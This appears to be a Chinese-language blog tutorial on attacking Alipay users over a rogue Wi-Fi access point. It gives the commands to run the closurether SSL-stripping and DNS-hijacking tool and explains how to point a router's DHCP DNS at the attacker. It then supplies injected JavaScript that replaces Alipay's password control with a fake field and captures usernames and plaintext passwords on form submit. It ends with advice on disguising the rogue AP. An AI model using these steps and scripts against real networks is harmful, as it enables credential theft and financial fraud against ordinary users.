看得出来,当把他当作普通站点是访问后重定向到了https://www.alipay.com,所以,当我们拿到了一个无线AP或者我们建立了一个无线AP时,完全可以把用户重定向到其他网站。但是这样很容易暴露,所以我们选择使用node来进行代理,流程为:
用户HTTP=>hacker的代理=>支付宝HTTPS
当服务器要求重定向到HTTPS网站,那么这个应答就不返回给用户了,而是模拟用户去访问HTTPS资源,然后把数据放回给用户。这样,在用户看来,他访问的就是个HTTPS的站点,但数据返回都是明文传输的,以此来达到截获明文信息的目的。
首先,我们从github上搞到需要的东西:https://github.com/EtherDream/closurether
1 |
npm install -g closurether |
2 |
closurether |
成功后会输出:
1 |
[SYS] local ip: 192.168.1.213 |
2 |
[DNS] running 0.0.0.0:53 |
3 |
[WEB] listening 0.0.0.0:80 |
这个213是我的ip,打开无线路由器-DHCP配置,将主DNS设置为自己的IP,重启路由后,就达到了劫持的目的。
用浏览器访问任意页面时,都可以在node控制台看到每个请求的状况,打开修改asset/inject/extern.js,加入alert(‘hehe’);之类的,此时,用户再打开支付宝即为:
看到脚本成功的注入了,说明劫持成功。
下面就是截获信息了,不过这里值得注意的是,支付宝输入密码需要安全控件,所以这里稍微绕一绕。
控件地址为:auth.alipay.com/login/homeB.htm?redirectType=parent
真心安全,在这个控件里输入任何信息都不会有消息事件,用啥DOM来监听的目测也不行。
想要破解控件难度太大,不过只是为了密码,所以我们就做一个页面就成:
1 |
var $ = function (v){ return document.querySelector(v)}; |
2 |
$( '.alieditContainer' ).innerHTML = '<input id="pwd" style="width: 100%; border: double 3px #ccc;" type="password" />' ; |
然后在监听表单提交事件:
1 |
$( 'form' ).addEventListener( 'submit' , function (){ |
2 |
var usr = $( '#logonId' ).value; |
3 |
var pwd = $( '#pwd' ).value; |
4 |
alert( 'User: ' + usr + '\n' + 'Pwd: ' + pwd); |
5 |
post(usr, pwd); |
6 |
}); |
此后,当用户在此打开支付宝输入密码时,我们就可以轻松的获取其用户名和明文密码了:
当然,你也可以写一个页面,专门来接受这些信息,但是因为用户不是在真实控件里输入的,所以肯定登录不了,我们可以考虑拿到信息后即不再劫持。
成功的因素其实还是有点苛刻的:
1、你建立的无线AP有一定迷惑性,比如功率比正常的大,ssid相似,密码一样,这样接入的用户才会误以为接入的是正常的AP,或者你拿下了整个wifi环境
2、目标站点要通过重定向
3、伪造的页面要逼真,这次我们还伪造了个假的控件
4、人品问题